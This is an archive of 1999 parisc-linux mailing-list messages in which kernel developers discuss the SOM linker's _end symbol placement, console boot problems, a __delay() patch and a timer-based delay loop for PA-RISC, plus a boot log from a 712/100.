Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Nov 20 11:45:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA29040
	for <parisc-linux@puffin.external.hp.com>; Sat, 20 Nov 1999 11:45:12 -0700
Original-Received: (qmail 17893 invoked by uid 15267); 20 Nov 1999 18:46:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17881 invoked from network); 20 Nov 1999 18:46:54 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 20 Nov 1999 18:46:54 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA01911;
	Sat, 20 Nov 1999 13:40:30 -0500 (EST)
In-Reply-To: <199911200057.QAA23404@adlmail.cup.hp.com> from "Cary Coutant" at Nov 19, 99 04:57:59 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6466

> 
> Could someone explain to me what the real problem with the _end symbol 
> is? I can't seem to extract the essence of the problem from all the mail 
> that's flying by.
> 
> The SOM linker is supposed to create the symbol "_etext" at the end of 
> the last text subspace, the symbol "_edata" at the end of the last 
> initialized data subspace, and the symbol "_end" at the end of the last 
> data subspace. It shouldn't matter what the name of the subspace is, or 
> what its sort key is. Common symbols get allocated at the end of the last 
> data subspace, and the "_end" symbol should be at the end of that. If 
> something is being allocated by the linker after "_end", I'd like to 
> understand why.

The SOM linker is not putting "_end" at the end of the last initialized
data subspace.  It is put at the beginning of the $DLT$ subspace which
follows $BSS$.  However, the subspace $DLT$ also contains uninitialized
global common variables.  These objects can be seen to come after _end
if you generate a linker map or examine the kernel with nm.  Any object
that is not explicitly initialized and has global scope ends up in $DLT$.

The kernel needs to determine where its data ends and free memory starts.
Thus, it needs to know where its global common area ends.

Jeff Law suggested that we not use the linker for this, but use the
sort keys to define a subspace that came after $DLT$.  After a little
experimentation trying to define a section $AFTERDLT$, I found that
$DLT$ probably had a sort key of 255 and when I specified a sort key
of 255 for $AFTERDLT$ the linker moved the stuff it was previously
putting into $DLT$ into $AFTERDLT$.  Further, it now sized $AFTERDLT"
and put _end at the end of $AFTERDLT$.  Just what we needed!

I recognize that there is probably a linker bug involved here.  I am
building the kernel with gcc-2.95.2/binutils-2.9.5.  The linker is
/usr/bin/ld:
        92453-07 linker linker ld B.10.33 990520

>From the name $DLT$, I thought that it was a section for data linkage
tables.  I am surprised the global common variables are being placed
in $DLT$.  I would have thought they should have been placed in $BSS$.

> You should be able to use "_edata" and "_end" to figure out how much 
> memory to initialize to zero at startup, or you could have the boot 
> loader do that for you -- the information is in the a.out aux header.

I haven't verified this myself but I believe others have determined
that the kernel needs to clear unitialized data itself because of the
various different way it is loaded.

> By the way, the SOM linker does support "scripts" of a sort. They're 
> called k-files (because you use the -k option to specify them), and they 
> allow you to control the placement of your spaces and subspaces within 
> the address space.

That's good to know and it might provide a better way for the kernel to
determine its end.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Sun, 21 Nov 1999 18:07:29 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <199911212307.SAA11686@hiauly1.hia.nrc.ca>
References: <19991119043037.B941@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618654 28479 80.91.229.3 (22 Nov 2014 01:10:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Nov 21 16:05:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA01738
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 Nov 1999 16:05:51 -0700
Original-Received: (qmail 3519 invoked by uid 15267); 21 Nov 1999 23:07:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3512 invoked from network); 21 Nov 1999 23:07:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 21 Nov 1999 23:07:34 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA11686;
	Sun, 21 Nov 1999 18:07:29 -0500 (EST)
In-Reply-To: <19991119043037.B941@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 19, 99 04:30:37 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6467

Hi Philipp,

> > VFS: Mounted root (ext2 filesystem)
> > Warning: unable to open an initial console.
> > Attempting to execute '/sbin/init'
> > It seems to be a valid SOM executable.
> > 
> > I am using the PDC_CONSOLE.  I think there was a changed needed to allow
> > opening the PDC_CONSOLE that was discussed previously.  Does anybody
> > remember?  Maybe with this change I can get to sash.
> 
> edit arch/parisc/boot/boot_code/ipl_c.c and replace the "ttyS0" in the command
> line with "tty".  Alternatively, boot in interactive mode and edit the command
> line (again replacing "ttyS0" with "tty").
> 
> That should get you to an (most likely unusable) shell prompt.

I am currently booting with "hpux /stand/vmunix".

This doesn't use the boot code in ipl_c.c.  Maybe the problem is the failure
in main to open "/dev/console".  Possibly, "/dev/console" is not in the ram
disk or, if it is, the kernel is not figuring out which tty to use.

> > I also need to slow down the console messages.
> 
> edit arch/parisc/kernel/pdc_cons.c and put a __delay(N); in pdc_putc.  N is
> approximately the number of CPU cycles you want to wait.  I suggest placing
> it directly after the "case 'n':" as that gives you a per-line delay instead
> of a per-character one.

I tried this and it didn't work.  It looks like __delay() is broken.  The
".balignl" is clearly bogus.  I think the "addib" tests need to bew looked
at more closely.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Sun, 21 Nov 1999 20:12:25 -0500 (EST)
Lines: 33
Approved: news@gmane.org
Message-ID: <199911220112.UAA05614@hiauly1.hia.nrc.ca>
References: <199911212307.SAA11686@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618655 28482 80.91.229.3 (22 Nov 2014 01:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:55 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Nov 21 18:10:47 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA02249
	for <parisc-linux@puffin.external.hp.com>; Sun, 21 Nov 1999 18:10:46 -0700
Original-Received: (qmail 3484 invoked by uid 15267); 22 Nov 1999 01:12:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3477 invoked from network); 22 Nov 1999 01:12:30 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 01:12:30 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA05614;
	Sun, 21 Nov 1999 20:12:25 -0500 (EST)
In-Reply-To: <199911212307.SAA11686@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 21, 99 06:07:29 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6468

> > > I also need to slow down the console messages.
> > 
> > edit arch/parisc/kernel/pdc_cons.c and put a __delay(N); in pdc_putc.  N is
> > approximately the number of CPU cycles you want to wait.  I suggest placing
> > it directly after the "case 'n':" as that gives you a per-line delay instead
> > of a per-character one.
> 
> I tried this and it didn't work.  It looks like __delay() is broken.  The
> ".balignl" is clearly bogus.  I think the "addib" tests need to bew looked
> at more closely.

__delay() in delay.h is ok except for ".balignl".  The .balignl inserts
a bunch of "ldi 1a,%r0" instructions which do nothing.  I just didn't specify
enough cycles before.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

--- delay.h.orig	Mon Oct 11 14:52:33 1999
+++ delay.h	Sun Nov 21 19:29:28 1999
@@ -11,8 +11,7 @@
 
 extern __inline__ void __delay(unsigned long loops) {
 	asm volatile(
-	"	.balignl	64,0x34000034
-		addib,UV,n      -1,%0,.
+	"	addib,UV,n      -1,%0,.
 		addib,NUV,n     -1,%0,.+8
 		nop"
 		: "=r" (loops) : "0" (loops));


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 08:30:23 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <19991122083023.B1310@mathe.stud.uni-erlangen.de>
References: <19991119043037.B941@mathe.stud.uni-erlangen.de> <199911212307.SAA11686@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618655 28486 80.91.229.3 (22 Nov 2014 01:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:55 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 02:39:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA03386
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 02:39:32 -0700
Original-Received: (qmail 23586 invoked by uid 15267); 22 Nov 1999 09:41:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23579 invoked from network); 22 Nov 1999 09:41:15 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 09:41:15 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 10:41:09 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id IAA03287;
	Mon, 22 Nov 1999 08:31:23 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911212307.SAA11686@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6469

> Hi Philipp,

Hi.

> I am currently booting with "hpux /stand/vmunix".
>
> This doesn't use the boot code in ipl_c.c.  Maybe the problem is the failure
> in main to open "/dev/console".  Possibly, "/dev/console" is not in the ram
> disk or, if it is, the kernel is not figuring out which tty to use.

Don't do that, then :).

Honestly, I don't think we have a way yet to use the command line the HPUX
boot loader passes us (which I was told uses the ANSI C way of passing
arguments, i.e. argument count in GR26, pointer to NULL-terminated array
of pointers to NULL-terminated arrays of strings in GR25).  Anyone up to
write some glue code that puts that back together into a simple long string
Linux's commandline splitting code can spli again ?

> > > I also need to slow down the console messages.
> > 
> > edit arch/parisc/kernel/pdc_cons.c and put a __delay(N); in pdc_putc.  N is
> > approximately the number of CPU cycles you want to wait.  I suggest placing
> > it directly after the "case 'n':" as that gives you a per-line delay instead
> > of a per-character one.
> 
> I tried this and it didn't work.  It looks like __delay() is broken.  The
> ".balignl" is clearly bogus.

Oh.  Why ?  The way it is intended is to align the following code to a 64-byte
boundary (cache lines on current PA2.0 CPUs are 64 bytes, I think) using nops.

> I think the "addib" tests need to bew looked at more closely.

Possible.  They seem to work fine for the rest of us though (i.e. the delay
loop gets calibrated nicely).

	Philipp Rumpf


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 09:24:12 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <19991122092412.C1310@mathe.stud.uni-erlangen.de>
References: <199911212307.SAA11686@hiauly1.hia.nrc.ca> <199911220112.UAA05614@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618655 28489 80.91.229.3 (22 Nov 2014 01:10:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:55 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 02:39:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA03402
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 02:39:33 -0700
Original-Received: (qmail 23599 invoked by uid 15267); 22 Nov 1999 09:41:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23591 invoked from network); 22 Nov 1999 09:41:17 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 09:41:17 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 10:41:07 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id JAA03323;
	Mon, 22 Nov 1999 09:25:12 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911220112.UAA05614@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6470

> __delay() in delay.h is ok except for ".balignl".  The .balignl inserts
> a bunch of "ldi 1a,%r0" instructions which do nothing.  I just didn't specify
> enough cycles before.

Yup.  They are intended to do nothing to get the following code nicely aligned.
Actually I wonder now whether the best way to implement __delay(x) is:

	mfctl	16, %0		; current interval timer value
	addl	%0, %1, %1	; interval timer value we want to reach

	subl	%1, %0, %0	; want-is
	comb,>	%0,  0, .-4	; while((want-is)>0)
	mfctl	16, %0		; current interval timer value
	
I actually like this quite a lot;

 - should be shorter than the old loop (5 instructions instead of 3
   instructions plus alignment)
 - should work well for low values (mfctl is quite fast and the rest
   is just arithmetic operations - and we don't have any nops in there)
 - more exact than other __delays (interrupts, cache effects,
   alignment, and, at least in theory, power-saving modes can make
   other __delays inexact)
 - more exact wrt our timer source (as CR16 actually _is_ our timer
   source).  This might be a bad thing as it means we don't have a sanity
   check for our timer anymore.

>  extern __inline__ void __delay(unsigned long loops) {
>  	asm volatile(
> -	"	.balignl	64,0x34000034
> -		addib,UV,n      -1,%0,.
> +	"	addib,UV,n      -1,%0,.
>  		addib,NUV,n     -1,%0,.+8
>  		nop"
>  		: "=r" (loops) : "0" (loops));

Just to scare you a bit, have a look at the PCXL ERS, Section 6.4 "Instruction
Lookaside Buffer".  This is basically a one-entry TLB that gets set from the
real TLB and takes some time to do so.

Now picture the page boundary happes between the two addibs.  This loop will
execute at about a third of the speed of a normal delay loop.  The code is
inlined, so only one loop gives you bogus results - if it is the BogoMIPS
calibration loop, udelay(N) will actually only delay for N/3 us, which can
have unexpected effects on hardware we use udelay() for.

	Philipp Rumpf


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Today's boot experience on a 735
Date: Mon, 22 Nov 1999 10:40:54 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <19991122104054.D1310@mathe.stud.uni-erlangen.de>
References: <199911200057.QAA23404@adlmail.cup.hp.com> <199911201840.NAA01911@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618656 28493 80.91.229.3 (22 Nov 2014 01:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:56 +0000 (UTC)
Cc: Cary Coutant <cary@cup.hp.com>,
        Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        law@cygnus.com, bame@debian.fc.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 02:39:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA03512
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 02:39:37 -0700
Original-Received: (qmail 23610 invoked by uid 15267); 22 Nov 1999 09:41:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23592 invoked from network); 22 Nov 1999 09:41:17 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 09:41:17 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 10:41:05 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id KAA03353;
	Mon, 22 Nov 1999 10:41:54 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911201840.NAA01911@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:6471

> > You should be able to use "_edata" and "_end" to figure out how much 
> > memory to initialize to zero at startup, or you could have the boot 
> > loader do that for you -- the information is in the a.out aux header.
> 
> I haven't verified this myself but I believe others have determined
> that the kernel needs to clear unitialized data itself because of the
> various different way it is loaded.

The problem is we need to know where free memory starts for our memory
allocator - who does the BSS clearing is another issue.

> > By the way, the SOM linker does support "scripts" of a sort. They're 
> > called k-files (because you use the -k option to specify them), and they 
> > allow you to control the placement of your spaces and subspaces within 
> > the address space.
> 
> That's good to know and it might provide a better way for the kernel to
> determine its end.

Is anyone reasonably fluent in whatever language ld uses ?

	Philipp Rumpf


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 09:59:55 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E11pqGK-0003IA-00@the-village.bc.nu>
References: <19991122092412.C1310@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618656 28495 80.91.229.3 (22 Nov 2014 01:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:56 +0000 (UTC)
Cc: dave@hiauly1.hia.nrc.ca, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com
To: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de (Philipp Rumpf)
Original-X-From: alan@lxorguk.ukuu.org.uk  Mon Nov 22 02:58:23 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA03765
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 02:58:23 -0700
Original-Received: (qmail 27891 invoked by uid 15267); 22 Nov 1999 10:00:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27876 invoked from network); 22 Nov 1999 10:00:06 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 10:00:06 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11pqGK-0003IA-00; Mon, 22 Nov 1999 09:59:56 +0000
In-Reply-To: <19991122092412.C1310@mathe.stud.uni-erlangen.de> from "Philipp Rumpf" at Nov 22, 99 09:24:12 am
Xref: news.gmane.org gmane.linux.ports.parisc:6472

> Now picture the page boundary happes between the two addibs.  This loop will
> execute at about a third of the speed of a normal delay loop.  The code is
> inlined, so only one loop gives you bogus results - if it is the BogoMIPS
> calibration loop, udelay(N) will actually only delay for N/3 us, which can
> have unexpected effects on hardware we use udelay() for.

On x86 things like this, and execution timing differences caused by cache
line alignment and other phase-of-moon issues eventually lead us to not inline
the function. Even then we had to land it on a 32 byte boundary


From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress
Date: Mon, 22 Nov 1999 16:54:33 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <19991122165433.A935@mathe.stud.uni-erlangen.de>
References: <19991122092412.C1310@mathe.stud.uni-erlangen.de> <E11pqGK-0003IA-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618656 28499 80.91.229.3 (22 Nov 2014 01:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:56 +0000 (UTC)
Cc: Philipp Heinrich Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        dave@hiauly1.hia.nrc.ca, parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: prumpf@abacus.uni-erlangen.de  Mon Nov 22 08:57:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA17772
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Nov 1999 08:57:16 -0700
Original-Received: (qmail 31332 invoked by uid 15267); 22 Nov 1999 15:58:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31323 invoked from network); 22 Nov 1999 15:58:58 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 22 Nov 1999 15:58:58 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Mon, 22 Nov 1999 16:53:17 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id QAA00938;
	Mon, 22 Nov 1999 16:55:38 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <E11pqGK-0003IA-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:6473

> On x86 things like this, and execution timing differences caused by cache
> line alignment and other phase-of-moon issues eventually lead us to not inline
> the function. Even then we had to land it on a 32 byte boundary

That's why I'm thinking about switching to a loop not based upon the time
it takes to execute instructions at all (see CR16 loop).  x86 doesn't have
the option (well, on Pentiums and above you have).

	Philipp Rumpf

X-From-Line: hppa-linux@thepuffingroup.com  Wed Mar 10 14:50:56 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id OAA03583
	for <pcj@merlin.pcj.primenet.com>; Wed, 10 Mar 1999 14:50:56 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Wed, 10 Mar 1999 14:50:56 PST
Received: from smtp03.primenet.com (daemon@smtp03.primenet.com [206.165.6.133])
	by primenet.com (8.8.8/8.8.5) with ESMTP id TAA05298
	for <pcj@smtp-local.primenet.com>; Tue, 9 Mar 1999 19:26:08 -0700 (MST)
Received: (from daemon@localhost)
	by smtp03.primenet.com (8.8.8/8.8.8) id TAA22746
	for <pcj@primenet.com>; Tue, 9 Mar 1999 19:27:14 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp03.primenet.com, id smtpd022707; Tue Mar  9 19:27:04 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id UAA22280;
	Tue, 9 Mar 1999 20:52:50 -0500
Resent-Date: Tue, 9 Mar 1999 20:52:50 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36E5D015.D565BC93@home.com>
Date: Tue, 09 Mar 1999 19:51:17 -0600
From: dorin <dmandachi@home.com>
Organization: @Home Network
X-Mailer: Mozilla 4.5 [en]C-AtHome0405  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: [hppa-linux] 712/100
Resent-Message-ID: <"v4I8K1.0.2S5.o1Tvs"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/155
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: c1ebf31708019b8b548cab2d85459e59
Lines: 40
Xref: merlin.pcj.primenet.com palinux:126

hi all, 
it worked: 712/100 (128ram) with the hipo-0.01

here's what the screen looks like:

PARISC/Linux Bootstrap Version 0.1 (non-interactive)
By Jason Eckhardt
Built Fri Feb 26 17:19:38 CST 1999 by jason@bimbo

IPL_DEBUG: Page zero parameters
  P0_IMM_max_mem:	134217728 (128MB)
  P0_IMM_spa_size:	134217728
  P0_MC_cont_size:	134217728
  P0_MC_phys_size:	134217728
  P0_MC_ad_size:	134217728
  P0_BOOTCPU_mem_free:  0x00008000
  P0_BOOTCPU_hpa:	0xFFFBE000
  P0_BOOTCPU_pdc:	0xF0010488
  P0_BOOTCPU_10msec:	100000
  P0_COUT_iodc_io:	0x00008AAC
  P0_CIN_iodc_io:	0x00008000
  P0_BOOTDEV_iodc_io:	0x0000C114
  P0_COUT_class:	0x00000009
  P0_CIN_class:		0x00000008
  P0_BOOTDEV_class:	0x00000001
Reading parameters...done
(kernel size = 28672 bytes, entry point = 0x00001000)
Loadin kernel...done
Transferring control to kernel

******* (yiipee)

VMLINUX 0.0: Dummy kernel image loaded and executing!

It is now safe to reboot

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <der_fisch@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX 10.20 for free?
Date: Mon, 22 Nov 1999 17:11:31 +0100
Organization: Fischlustig
Lines: 21
Approved: news@gmane.org
Message-ID: <99112217140600.11388@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
